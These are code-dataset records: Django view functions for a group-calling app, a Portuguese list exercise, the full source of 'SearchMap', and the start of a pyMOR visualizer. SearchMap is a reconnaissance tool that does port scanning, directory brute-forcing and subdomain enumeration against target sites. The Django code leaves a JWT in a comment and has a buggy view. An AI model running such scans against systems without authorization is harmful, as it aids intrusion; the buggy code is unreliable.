Response(status=status.HTTP_400_BAD_REQUEST) \n@api_view(['POST'])\ndef editUserInfo(request):\n try:\n print('editUserInfo function')\n if request.method=='POST':\n data=checkToken(request.data['token'])\n id_user=data['id']\n first_name=request.data['user']['firstName']\n last_name=request.data['user']['lastName']\n password_old=request.data['user']['password']\n password_new=request.data['user']['newPassword']\n confirmPassword=request.data['user']['confirmPassword']\n picture=request.data['user']['picture']\n o=useraccount.objects.filter(id=id_user).get()\n che=False\n if o and check_password(password_old,o.password):\n if password_new != '' and password_new==confirmPassword:\n password_new1=make_password(password_new)\n o.password=password_new1\n che=True\n print('password_new')\n if first_name!='':\n o.first_name=first_name\n che=True\n print('Fname')\n if last_name!='':\n o.last_name=last_name\n che=True\n print('Lname')\n if picture != None:\n print('picture')\n picture=insertImage(id_user, picture, 'user')\n o.picture=picture\n che=True\n if che:\n o.save()\n print('save')\n return Response({'state':True,'user':get_userInfo(o.pk)},status=status.HTTP_200_OK)\n return Response({'state':False},status=status.HTTP_400_BAD_REQUEST) \n except Exception as e:\n print('Error in editUserInfo function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST) \n@api_view(['POST'])\ndef editGroup(request):\n try:\n print('editGroup function')\n if request.method=='POST':\n data=checkToken(request.data['token'])\n if user_in_group.objects.filter(user=data['id'] , is_admin=True).exists():\n id_group=request.data['groupId']\n name=request.data['newName']\n picture=request.data['picture']\n o=group.objects.get(id=id_group)\n che=False\n if o:\n if name!='':\n o.name=name\n che=True\n if picture!=None:\n o.picture=insertImage(id_group, picture, 'group')\n che=True\n if che:\n o.save()\n return Response({'State':True,'id':o.pk,'name':o.name},status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in editGroup function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST) \n@api_view(['POST'])\ndef leave_group(reqset):\n try:\n print('API leave_group')\n if request.method=='POST':\n data=checkToken(request.data['token'])\n id_group=reqset.data['id_group']\n id_user=data['id']\n o=user_in_group.objects.filter(user=id_user,group=id_group)\n if o.exists():\n o.active=False\n o.save()\n return Response({'State':True},status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in leave_group function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n@api_view(['POST'])\ndef makeCall(request):\n try:\n print('makeCall')\n if request.method=='POST':\n print(request.data)\n token=checkToken(request.data['token'])\n keys=request.data['keys']\n kind=request.data['kind']\n groupId1=request.data['groupId']\n groupId=group.objects.filter(pk=groupId1,active=True,created=True)\n print(groupId1)\n isInCall=connection.objects.filter(group=groupId1,end_date=None)\n if kind=='lecture' and groupId.exists() and not isInCall.exists() :\n memb=user_in_group.objects.filter(user__key__in=keys,group=groupId.get(),active=True,group__active=True)\n members=set(memb.values_list('user__key',flat=True))\n idMembers=set(memb.values_list('user__id',flat=True))\n ClassEvents.callMakeCallEventForLecture(groupId.get(),token['key'],memb)\n memb.update(on_line=True)\n conn=connection(group=groupId.get())\n conn.save()\n idNotif=0\n for pk in idMembers:\n content='you have call from '+groupId.get().name+' group'\n idNotif=makeNotif(content, pk,idSender=groupId.get().pk,Type='call',idConnection=conn)\n ClassEvents.callSendNotifEvent(list(members), idNotif)\n return Response({'state':True,'groupId':groupId.get().pk},status=status.HTTP_200_OK)\n elif kind=='Meeting' and groupId.exists() and not isInCall.exists() :\n user_in_group.objects.filter(user__key=token['key'],active=True,group__pk=groupId1).update(on_line=True)\n keys.append(token['key'])\n memb=user_in_group.objects.filter(user__key__in=keys,group__pk=groupId1,active=True,group__active=True)\n keysNoAdmin=set(memb.filter(~Q(user__key=token['key'])).values_list('user__key',flat=True))\n keys=set(memb.values_list('user__key',flat=True))\n idMembers=set(memb.values_list('user__id',flat=True))\n ClassEvents.callMakeCallEventForMeeting(groupId.get(),memb,keys,keysNoAdmin,token['key'])\n conn=connection(group=groupId.get()) \n conn.save()\n #memb.update(on_line=True)\n return Response({'state':True,'groupId':groupId.get().pk},status=status.HTTP_200_OK)\n\n elif kind=='Friends' and groupId1==0 and not isInCall.exists() and keys != None:\n print('Friends')\n creator=useraccount.objects.filter(pk=token['id'])\n keys.append(token['key'])\n groupId=Group.createGroup(creator.get().first_name+' '+creator.get().last_name, token['id'], keys, kind, False,creator.get().picture)\n memb=user_in_group.objects.filter(user__key__in=keys,group__pk=groupId,active=True,group__active=True)\n members=set(memb.values_list('user__key',flat=True))\n memb.update(on_line=True)\n keysNoAdmin=set(memb.filter(~Q(user__key=token['key'])).values_list('user__key',flat=True))\n id_=group.objects.filter(pk=groupId).get()\n conn=connection(group=id_)\n conn.save()\n ClassEvents.callmakeCallEventForFriends(id_,memb,members,keysNoAdmin,token['key'])\n #here\n #if memb.exists():\n # events.notification.sendNoti(members, get_notf(idNoti=idNotif))\n return Response({'state':True,'groupId':groupId},status=status.HTTP_200_OK)\n print('eeeeennnnnnnnddddd')\n return Response({'state':False},status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in makeCall function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST) \n@api_view(['POST'])\ndef endCall(request):\n try:\n print('endCall function')\n if request.method=='POST':\n print(request.data)\n token=checkToken(request.data['token'])\n groupId=request.data['idGroup']\n kind=request.data['kind']\n user=user_in_group.objects.filter(group__pk=groupId,user__pk=token['id'],active=True,group__active=True)\n conn=connection.objects.filter(group__pk=groupId,end_date=None)\n if user.get().group.kind=='lecture' and user.get().is_admin and conn.exists() :\n conn.update(end_date=datetime.now().astimezone())\n ClassEvents.callEndCallEventLecture(groupId, kind)\n notification.objects.filter(sender_group__pk=groupId,type='call').delete()\n user_in_group.objects.filter(group__pk=groupId,active=True).update(on_line=False)\n return Response({'state':True},status=status.HTTP_200_OK)\n if (user.get().group.kind=='Friends' or user.get().group.kind=='Meeting') and user.exists() and conn.exists() :\n user.update(on_line=False)\n state=ClassEvents.calleventleaveCallMeeting(token['key'],groupId) \n if state==1:\n print('state1')\n conn.update(end_date=datetime.now().astimezone())\n ClassEvents.calleventendCallForMeeting(groupId)\n members=user_in_group.objects.filter(group=groupId,on_line=True)\n members.update(on_line=False)\n '''for member in members:\n print(member)\n #id=makeNotif('The group '+user.get().group.name+' has call', member.pk)\n #ClassEvents.callSendNotifEvent(keys, idNotif)'''\n if state==2:\n print('state2')\n sec=0\n while(events.GROUPMETING[groupId]['memberCount']<=1 ):\n sec+=5\n time.sleep(5)\n print(sec)\n if events.GROUPMETING[groupId]['memberCount']>1:\n break\n if sec>=30:\n print('sec>30')\n conn.update(end_date=datetime.now().astimezone())\n ClassEvents.calleventendCallForMeeting(groupId)\n user_in_group.objects.filter(group=groupId,on_line=True).update(on_line=False)\n break\n return Response({'state':True},status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in endCall function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\nx={}\n#************\n@api_view(['GET','POST'])\ndef select(request):\n try:\n \n #checkToken('eyJ0eXAiiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MywiZW1haWwiOiJyaWFkQGdtYWlsLmNvbSIsImtleSI6InBpcllub1daN24ifQ.pp01zBAA1jsO_3oKPKB0alcqQdJJg30cutTK3t0TxMo')\n noti=notification.objects.filter(type__in=['RAdd','call'])\n test=group.objects.filter(pk=2)\n allUser=useraccount.objects.all()\n m= notificationseralizer(noti,many=True)\n m=connection.objects.all()\n eventValue={'witingList':events.MetingCall.checkWitingList(5),'list':events.GROUPMETING,'SID':events.SID,'KEY':events.KEY,'GROUP':events.GROUP,'MEMBERinGROUB':events.MEMBERinGROUB,'REQUESTtalkMEMBER':events.REQUESTtalkMEMBER}\n \n \n return Response(eventValue)\n except Exception as e:\n print(e)\n return Response( status=status.HTTP_400_BAD_REQUEST)\ndef first(list):\n dic={}\n dic['id']=list[0]\n dic['firstName']=list[1]\n dic['lastName']=list[2]\n dic['email']=list[5]\n dic['key']=list[9]\n return dic \n#********\n\n\n","repo_name":"AbdElwahap-Bakdones/Rining","sub_path":"Accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":47493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30946894182","text":"#085: Crie um programa onde o usuário possa digitar sete valores numéricos e cadastre-os em uma lista única que mantenha separados os valores pares e ímpares. No final, mostre os valores pares e ímpares em ordem crescente.\n\nvalor = list()\npar = list()\nimpar = list()\n\nprint('=' * 50)\nprint(f'{\"FILTRANDO NÚMEROS NA LISTA\":^50}')\nprint('=' * 50)\nfor i in range(1, 8):\n valor.append(int(input(f'Digite o {i}º valor: ')))\nvalor.sort()\nfor n in valor:\n if n % 2 == 0:\n par.append(n)\n else:\n impar.append(n)\nvalor.clear()\nvalor.append(par)\nvalor.append(impar)\nprint(('=' * 50))\nprint(f'Números pares: {par}')\nprint(f'Números ímpares: {impar}')\nprint(f'Lista gerada: {valor}')\n(print('=' * 50))\n\n#Dica: quando você quer criar várias listas dentro de uma, você já pode declarar na seguinte forma: \n# [[], []]\n#Supondo que você queira colocar algum valor na lista da esquerda, basta vc escrever o nome da lista maior (que está englobando as duas listas) informando o índice da lista esquerda e depois adicionar esse valor, ex: exemplo[1].append(valor)\n","repo_name":"renaisaalves/Python-CursoemVideo","sub_path":"exercicios/ex085.py","file_name":"ex085.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71836969812","text":"import argparse\nimport requests\nimport socket\nimport re\nimport whois\nimport nmap\nimport json\nimport zlib\nimport random\nimport string\nimport colorama\nfrom tqdm import tqdm\nimport multiprocessing\nimport sys\n\n\n# 当前软件版本信息\ndef banner():\n colorama.init(autoreset=True)\n print(\"\"\"\\033[36m\n ____ _ __ __ \n/ ___| ___ __ _ _ __ ___| |__ | \\/ | __ _ _ __ \n\\___ \\ / _ \\/ _` | '__/ __| '_ \\| |\\/| |/ _` | '_ \\ \n ___) | __/ (_| | | | (__| | | | | | | (_| | |_) |\n|____/ \\___|\\__,_|_| \\___|_| |_|_| |_|\\__,_| .__/ \n |_| V1.0.2 \\033[0m\"\"\")\n print(\"\\033[1;32m#Coded by Asaotomo Update:2022.03.27\\033[0m\")\n\n\n# nmap端口扫描模块\ndef port_scan(ip_list):\n for ip in ip_list:\n arguments = '-sS -T5 -Pn'\n nm = nmap.PortScanner()\n try:\n nm.scan(hosts=ip, arguments=arguments, sudo=True)\n except:\n nm.scan(hosts=ip, arguments=arguments)\n scan_info = nm[ip]\n tcp = scan_info[\"tcp\"]\n print(\"\\033[1;32m[Port_info_{}]:\\033[0m\".format(ip))\n for i in tcp.keys():\n print(\"\\033[1;34m{} {} {} {}\\033[0m\".format(i, tcp[i]['state'], tcp[i]['name'], tcp[i]['version']))\n\n\n# 获取ip地址所属位置\ndef check_ip(ip):\n ip_list = []\n for i in ip:\n url = \"https://ip.cn/ip/{}.html\".format(i)\n res = requests.get(url=url, timeout=10, headers=headers_lib())\n html = res.text\n site = re.findall('
(.*?)
', html, re.S)[0]\n result = \"{}-{}\".format(i, site).replace(\" \", \"-\").replace(\" \", \"-\")\n ip_list.append(result)\n return ip_list\n\n\n# 请求头库\ndef headers_lib():\n lib = [\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:57.0) Gecko/20100101 Firefox/57.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:57.0) Gecko/20100101 Firefox/57.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:58.0) Gecko/20100101 Firefox/58.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:25.0) Gecko/20100101 Firefox/25.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0\"]\n headers = {\n \"User-Agent\": random.choice(lib)}\n return headers\n\n\n# 格式化url\ndef get_domain(url):\n if \"https://\" in url or \"http://\" in url:\n url = url.replace(\"https://\", \"\").replace(\"http://\", \"\")\n domain = \"{}\".format(url).split(\"/\")[0]\n return domain\n\n\n# 获取网页标题\ndef get_title(url):\n try:\n res = requests.get(url=url, headers=headers_lib(), verify=False, timeout=3)\n res.encoding = res.apparent_encoding\n html = res.text\n title = re.findall(\"(.*?)\", html, re.S)[0]\n except:\n title = \"None\"\n return title.replace(\" \", \"\").replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n\n\n# 判断输入是IP还是域名\ndef isIP(str):\n try:\n check_ip = re.compile(\n '^(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)$')\n if check_ip.match(str):\n return True\n else:\n return False\n except:\n return False\n\n\n# 获取网站whois等基本信息\ndef get_base_info(url):\n domain_url = get_domain(url)\n ip = []\n try:\n addrs = socket.getaddrinfo(domain_url, None)\n for item in addrs:\n if item[4][0] not in ip:\n ip.append(item[4][0])\n if len(ip) > 1:\n print(\"\\033[1;32m[Ip]:\\033[0m\\033[36m{}\\033[0m \\033[1;31m PS:CDN may be used\\033[0m\".format(check_ip(ip)))\n\n else:\n print(\"\\033[1;32m[Ip]:\\033[0m\\033[36m{}\\033[0m\".format(check_ip(ip)[0]))\n except Exception as e:\n print(\"\\033[1;32m[Ip_Error]:\\033[0m\\033[36m{}\\033[0m\".format(e))\n\n title = get_title(url)\n print(\"\\033[1;32m[Website_title]:\\033[0m\\033[36m{}\\033[0m\".format(\n title.replace(\" \", \"\").replace(\"/r\", \"\").replace(\"/n\", \"\")))\n if isIP(domain_url):\n url_d = \"https://site.ip138.com/{}/\".format(domain_url)\n res = requests.get(url=url_d, headers=headers_lib())\n html = res.text\n site = re.findall('(.*?)
(.*?)', html, re.S)\n if len(site) > 0:\n print(\"\\033[1;32m[The bound domain_name]:\\033[0m\")\n for a, b, c in site:\n print(\"\\033[36m{} {}\\033[0m\".format(a, b))\n else:\n whois_info = whois.whois(domain_url)\n format_print(whois_info)\n #what_cms(url)\n return ip\n\n\n# 读文件,批量扫描功能模块\ndef bat_scan(filename):\n with open(filename, \"r+\", encoding=\"utf-8\") as f:\n url_list = f.readlines()\n return url_list\n\n\n# 获取网站的中间件、服务器等版本信息,接口每日可调用1000次\ndef what_cms(url):\n requests.packages.urllib3.disable_warnings()\n res = requests.get(url, verify=False)\n what_cms_dict = {\"url\": res.url, \"text\": res.text, \"headers\": dict(res.headers)}\n what_cms_dict = json.dumps(what_cms_dict)\n what_cms_dict = what_cms_dict.encode()\n what_cms_dict = zlib.compress(what_cms_dict)\n data = {\"info\": what_cms_dict}\n res = requests.post(\"http://whatweb.bugscaner.com/api.go\", files=data)\n whatcms = res.json()\n format_print(whatcms)\n\n\n# 美化输出whatcms内容\ndef format_print(res_info):\n res_info = dict(res_info)\n for key in res_info.keys():\n try:\n if res_info[key] is not None:\n isList = True if type(res_info[key]) == list else False\n if isList:\n if isinstance(res_info[key][0], str):\n print(\"\\033[1;32m[{}]:\\033[0m\\033[36m{}\\033[0m\".format(key, ','.join(res_info[key])))\n else:\n value = \"\"\n for item in res_info[key]:\n value += \"{},\".format(item.strftime('%Y-%m-%d %H:%M:%S'))\n print(\"\\033[1;32m[{}]:\\033[0m\\033[36m{}\\033[0m\".format(key,\n value.rstrip(\",\")))\n else:\n print(\"\\033[1;32m[{}]:\\033[0m\\033[36m{}\\033[0m\".format(key, res_info[key]))\n except Exception as e:\n print('\\033[1;31m[Error]:{}\\033[0m'.format(e))\n\n# 检测http头是否缺失\ndef check_head(url):\n if url[:4] == \"http\":\n return url\n else:\n head = \"https://\"\n fix_url = head + url\n try:\n res = requests.get(url=url, headers=headers_lib(), verify=False)\n if res.status_code == 200:\n return fix_url\n else:\n return \"http://\" + url\n except:\n return \"http://\" + url\n\n\n# 多地ping\ndef n_ping(key):\n print(\"\\033[1;32m[N_ping]:\\033[0m\")\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36\",\n \"Content-Type\": \"application/x-www-form-urlencoded; \"\n }\n\n callback_lib = [\n \"jQuery111306167052211460833_1630908921895\",\n \"jQuery111306167052211460833_1630908921896\",\n \"jQuery111306167052211460833_1630908921897\",\n \"jQuery111306167052211460833_1630908921898\",\n \"jQuery111306167052211460833_1630908921899\",\n ]\n\n node = {\n \"安徽合肥[移动]\": \"fc778772-3967-4b70-be93-9045f310e16c\",\n \"安徽合肥[联通]\": \"66426ad9-99d9-471f-b55f-c270cc3fc878\",\n \"浙江扬州[多线]\": \"4a40427f-502e-4a85-8752-980f2d8bbae1\",\n \"广东东莞[电信]\": \"cd4e7631-8427-41b6-8e44-869a70a04b20\",\n \"山东济南[联通]\": \"4d7637d7-4950-4b79-9741-c397789bcf05\",\n \"辽宁大连[电信]\": \"e1d5b78f-6ba5-485d-a4dd-54dc546b991a\",\n \"上海[多线]\": \"a936bb02-6b19-4da5-9c82-e8bb68fcfbea\",\n \"北京[多线]\": \"463cd3ff-65cb-4b5a-8c77-555ef43b6612\",\n \"内蒙古呼和浩特[多线]\": \"8c0b720b-e1a1-4422-a948-e8d7ec7e4906\",\n \"山东枣庄[联通]_1\": \"9e980285-f696-4478-a645-fc1e5a76ed47\",\n \"山东枣庄[联通]_2\": \"2573ad6d-082d-479d-bab6-49f24eca4e47\",\n \"江苏徐州[电信]\": \"92dad4c3-9bc3-4f71-a0b0-db9376613bb2\",\n \"辽宁沈阳[多线]\": \"07f2f1cc-8414-4557-a8c1-27750a732f16\",\n \"新疆哈密[电信]\": \"9bc90d67-d208-434d-b680-294ae4288571\",\n \"云南昆明[电信]\": \"14ef4fcf-3712-4971-9c24-0d1657751022\",\n \"中国香港_1\": \"cdcf3a45-8366-4ab4-ae80-75eb6c1c9fca\",\n \"中国香港_2\": \"a0be885d-24ad-487d-bbb0-c94cd02a137d\",\n \"中国台湾\": \"483bad95-d9a8-4026-87f4-7a56501bf5fd\",\n \"韩国CN2\": \"1f4c5976-8cf3-47e7-be10-aa9270461477\",\n \"韩国CN联通_1\": \"dc440a55-1148-480f-90a7-9d1e0269b682\",\n \"韩国CN联通_2\": \"6cd2450a-d73d-40c7-96ce-afc20540eeea\",\n \"美国_1\": \"737831b4-95e1-445f-a981-c1333faf88bd\",\n \"美国_2\": \"e4f8c1ef-2160-47f7-850f-6446ca0680b4\",\n \"德国\": \"d9041619-7d90-42ea-9811-2b2fe11cb2b0\",\n }\n ip_value = \"\"\n keys = tqdm(node.keys(), ncols=75)\n keys.set_description(colorama.Fore.BLUE + \"进度条\")\n for n in keys:\n url = \"http://ping.chinaz.com/iframe.ashx?t=ping&callback={}\".format(random.choice(callback_lib))\n data = \"guid={}&host={}&ishost=0&isipv6=0&encode=g4LFw6M5ZZa9pkSC|tGN8JBHp|lHVl2x&checktype=0\".format(\n node[n], key)\n res = requests.post(url=url, headers=headers, data=data)\n res_node = res.text\n node_value = re.findall(\"\\({(.*?)}\\)\", res_node, re.S)\n if len(node_value[0]) == 14:\n keys.write('\\033[1;31m{}:The node timed out!\\033[0m'.format(n))\n else:\n keys.write(colorama.Fore.BLUE + '{}:{}'.format(n, node_value[0]))\n ip_value += node_value[0]\n set_ip = set(re.findall(\"ip:'(.*?)',\", ip_value, re.S))\n if len(set_ip) > 1:\n print(\"\\033[1;31m经检测该域名可能使用CDN加速,共发现{}个节点:{}\\033[0m\".format(len(set_ip), \",\".join(set_ip)))\n else:\n print(\"\\033[1;34m经检测该域名未使用CDN加速,仅发现1个节点:{}\\033[0m\".format(\",\".join(set_ip)))\n\n\n# 存在虚假页面进行目录扫描\ndef func1(url, key, check_value):\n b = key.strip()\n url = url + b\n try:\n c = requests.get(url=url, timeout=3, headers=headers_lib())\n if c.status_code == 200 and c.content not in check_value[0]:\n return '[url]:' + c.url + '\\t200 OK'\n except:\n return\n\n\n# 不存在虚假页面进行目录扫描\ndef func2(url, key):\n b = key.strip()\n url = url + b\n try:\n c = requests.get(url=url, timeout=3, headers=headers_lib())\n if c.status_code == 200:\n return '200 OK ' + '\\t' + 'URL:' + c.url\n except:\n return\n\n\n# 随机生成字符串\ndef genRandomString(slen=10):\n return ''.join(random.sample(string.ascii_letters + string.digits, slen))\n\n\n# 目录扫描前检测是否存在虚假页面\ndef check_fake_res(url):\n check_value = []\n for i in range(3):\n test_url = url + \"/\" + genRandomString(slen=24)\n res = requests.get(url=test_url, headers=headers_lib())\n if res.status_code == 200:\n html = res.content\n check_value.append(html)\n check_value = list(set(check_value))\n if len(check_value) == 1:\n print(colorama.Fore.RED + '存在伪响应页面')\n return check_value\n\n\n# 更新目录扫描进度条\ndef update_dir(url):\n if url and url not in dir:\n dir.append(url)\n pbar.write(colorama.Fore.BLUE + url)\n pbar.update()\n\n\n# 读取字典\ndef read_dict(filename):\n with open(filename, 'r') as a:\n dict_lib = a.readlines()\n return dict_lib\n\n\n# 目录扫描主方法\ndef dir_scan(url):\n print(\"\\033[1;32m[Website_directory]:\\033[0m\")\n if url.count(\"/\") == 2:\n url = url + \"/\"\n if \".\" in url[url.rfind(\"/\"):]:\n url = url.replace(url[url.rfind(\"/\"):], \"\")\n url = url.rstrip(\"/\")\n check_value = check_fake_res(url)\n dir_dict = read_dict(\"dict/fuzz.txt\")\n pool_num = multiprocessing.cpu_count()\n pool = multiprocessing.Pool(processes=5 * pool_num)\n global pbar\n pbar = tqdm(total=len(dir_dict), ncols=75)\n pbar.set_description(colorama.Fore.BLUE + \"进度条\")\n global dir\n dir = []\n if check_value:\n for key in dir_dict:\n if key[:1] != \"/\":\n key = \"/{}\".format(key)\n pool.apply_async(func1, args=(url, key, check_value),\n callback=update_dir) # 维持执行的进程总数为processes,当一个进程执行完毕后会添加新的进程进去\n else:\n for key in dir_dict:\n if key[:1] != \"/\":\n key = \"/{}\".format(key)\n pool.apply_async(func2, args=(url, key), callback=update_dir)\n pool.close()\n pool.join()\n\n\n# 检测子域名是否存在\ndef check_subname(subname, url):\n try:\n domain_url = \"https://{}.{}\".format(subname, url)\n res1 = requests.get(url=domain_url, headers=headers_lib(), timeout=3)\n if res1.status_code == 200:\n domain_url = \"{}.{}\".format(subname, url)\n return domain_url\n except:\n domain_url = None\n try:\n domain_url = \"http://{}.{}\".format(subname, url)\n res2 = requests.get(url=domain_url, headers=headers_lib(), timeout=3)\n if res2.status_code == 200:\n domain_url = \"{}.{}\".format(subname, url)\n return domain_url\n except:\n domain_url = None\n domain_url = None\n return domain_url\n\n\n# 更新子域名扫描进度条\ndef update_sub(domain_url):\n ip = []\n if domain_url:\n try:\n addrs = socket.getaddrinfo(domain_url, None)\n for item in addrs:\n if item[4][0] not in ip:\n ip.append(item[4][0])\n title = get_title(check_head(domain_url))\n if len(ip) > 1:\n\n sub.write(colorama.Fore.BLUE + \"{}-{}-{}\\033[1;31m PS:CDN may be used\\033[0m\".format(\n domain_url, title,\n check_ip(ip)))\n else:\n sub.write(\n colorama.Fore.BLUE + \"{}-{}-{}\".format(domain_url, title, check_ip(ip)[0]))\n except Exception as e:\n sub.write(\"\\033[1;32m[Sub_Error]:\\033[0m\\033[36m{}\\033[0m\".format(e))\n sub.update()\n\n\n# 子域名扫描主方法\ndef sub_scan(url):\n print(\"\\033[1;32m[Subdomain]:\\033[0m\")\n url = \".\".join(get_domain(url).split(\".\")[1:])\n sub_dict = read_dict(\"dict/subdomain.txt\")\n pool_num = multiprocessing.cpu_count()\n pool = multiprocessing.Pool(processes=5 * pool_num)\n global sub\n sub = tqdm(total=len(sub_dict), ncols=75)\n sub.set_description(colorama.Fore.BLUE + \"进度条\")\n for subname in sub_dict:\n subname = subname.replace(\"\\n\", \"\")\n pool.apply_async(check_subname, args=(subname, url), callback=update_sub)\n pool.close()\n pool.join()\n\n\n# 程序功能选择模块\ndef switch(url, port, nping, dirscan, subscan, fullscan):\n ip = get_base_info(url)\n if fullscan:\n print('\\033[1;31m正在启动端口扫��······\\033[0m')\n port_scan(ip)\n print('\\033[1;31m正在启动多地ping······\\033[0m')\n n_ping(url)\n print('\\033[1;31m正在启动目录扫描······\\033[0m')\n dir_scan(url)\n print('\\033[1;31m正在启动子域名扫描······\\033[0m')\n sub_scan(url)\n if port:\n print('\\033[1;31m正在启动端口扫描······\\033[0m')\n port_scan(ip)\n if nping:\n print('\\033[1;31m正在启动多地ping······\\033[0m')\n n_ping(url)\n if dirscan:\n print('\\033[1;31m正在启动目录扫描······\\033[0m')\n dir_scan(url)\n if subscan:\n print('\\033[1;31m正在启动子域名扫描······\\033[0m')\n sub_scan(url)\n\n\n# 日志功能\nclass Logger(object):\n def __init__(self, filename=\"Default.log\"):\n self.terminal = sys.stdout\n self.log = open(filename, \"w+\")\n\n def write(self, message):\n self.terminal.write(message)\n self.log.write(\n \"{}\".format(message).replace(\"\u001B[1;31m\", \"\").replace(\"\u001B[1;32m\", \"\").replace(\"\u001B[36m\", \"\").replace(\n \"\u001B[34m\", \"\").replace(\"\u001B[0m\", \"\"))\n\n def flush(self):\n pass\n\n\n# 主程序入口\nif __name__ == '__main__':\n banner()\n requests.packages.urllib3.disable_warnings()\n parser = argparse.ArgumentParser(\n description=\"BugMap (An automatic information collection tool for pre penetration testing)\")\n parser.add_argument('-u', '--url', help='Scan target banner')\n parser.add_argument('-r', '--read', help='Batch scan target url')\n parser.add_argument('-p', '--port', help='Scan target port', action='store_true')\n parser.add_argument('-n', '--nping', help='Multi-node ping target', action='store_true')\n parser.add_argument('-d', '--dirscan', help='Scan target directory', action='store_true')\n parser.add_argument('-s', '--subscan', help='Scan target subdomain', action='store_true')\n parser.add_argument('-a', '--fullscan', help='Use all options', action='store_true')\n parser.add_argument('-o', '--outlog', help='Output log')\n args = parser.parse_args()\n url = args.url\n filename = args.read\n nping = args.nping\n port = args.port\n dirscan = args.dirscan\n subscan = args.subscan\n fullscan = args.fullscan\n outlog = args.outlog\n if outlog:\n sys.stdout = Logger(outlog)\n if filename is not None:\n url_list = bat_scan(filename)\n print(\"\\033[1;32m[Total_task]:\\033[0m\\033[36m{}\\033[0m\".format(len(url_list)))\n i = 0\n for url in url_list:\n try:\n i += 1\n url = url.replace(\"\\n\", \"\")\n print(\"\\033[1;32m[Task_{}]:\\033[0m\\033[36m{}\\033[0m\".format(i, url))\n switch(check_head(url), port, nping, dirscan, subscan, fullscan)\n print()\n except Exception as e:\n print('\\033[1;31m[Error]:{}\\033[0m'.format(e))\n else:\n if url:\n print(\"\\033[1;32m[Task]:\\033[0m\\033[36m{}\\033[0m\".format(url))\n switch(check_head(url), port, nping, dirscan, subscan, fullscan)\n","repo_name":"asaotomo/SearchMap","sub_path":"searchmap.py","file_name":"searchmap.py","file_ext":"py","file_size_in_byte":19334,"program_lang":"python","lang":"en","doc_type":"code","stars":226,"dataset":"github-code","pt":"67"} +{"seq_id":"39764138587","text":"import numpy as np\n\nfrom pymor.core.base import ImmutableObject\nfrom pymor.core.config import is_jupyter\nfrom pymor.core.defaults import defaults\nfrom pymor.discretizers.builtin.grids.oned import OnedGrid\nfrom pymor.discretizers.builtin.grids.referenceelements import square, triangle\nfrom pymor.vectorarrays.interface import VectorArray\n\n\nclass PatchVisualizer(ImmutableObject):\n \"\"\"Visualize scalar data associated to a two-dimensional |Grid| as a patch plot.\n\n The grid's |ReferenceElement| must be the triangle or square. The data can either\n be attached to the faces or vertices of the grid.\n\n Parameters\n ----------\n grid\n The underlying |Grid|.\n codim\n The codimension of the entities the data in `U` is attached to (either 0 or 2).\n bounding_box\n A bounding box in which the grid is contained.\n backend\n Plot backend to use ('jupyter_or_gl', 'jupyter', 'gl', 'matplotlib').\n block\n If `True`, block execution until the plot window is closed.\n \"\"\"\n\n @defaults('backend')\n def __init__(self, grid, codim=2, bounding_box=None, backend='jupyter_or_gl', block=False):\n assert grid.reference_element in (triangle, square)\n assert grid.dim == 2\n assert codim in (0, 2)\n assert backend in {'jupyter_or_gl', 'jupyter', 'gl', 'matplotlib'}\n if backend == 'jupyter_or_gl':\n backend = 'jupyter' if is_jupyter() else 'gl'\n if bounding_box is None:\n bounding_box = grid.bounding_box()\n self.__auto_init(locals())\n\n def visualize(self, U, title=None, legend=None, separate_colorbars=False,\n 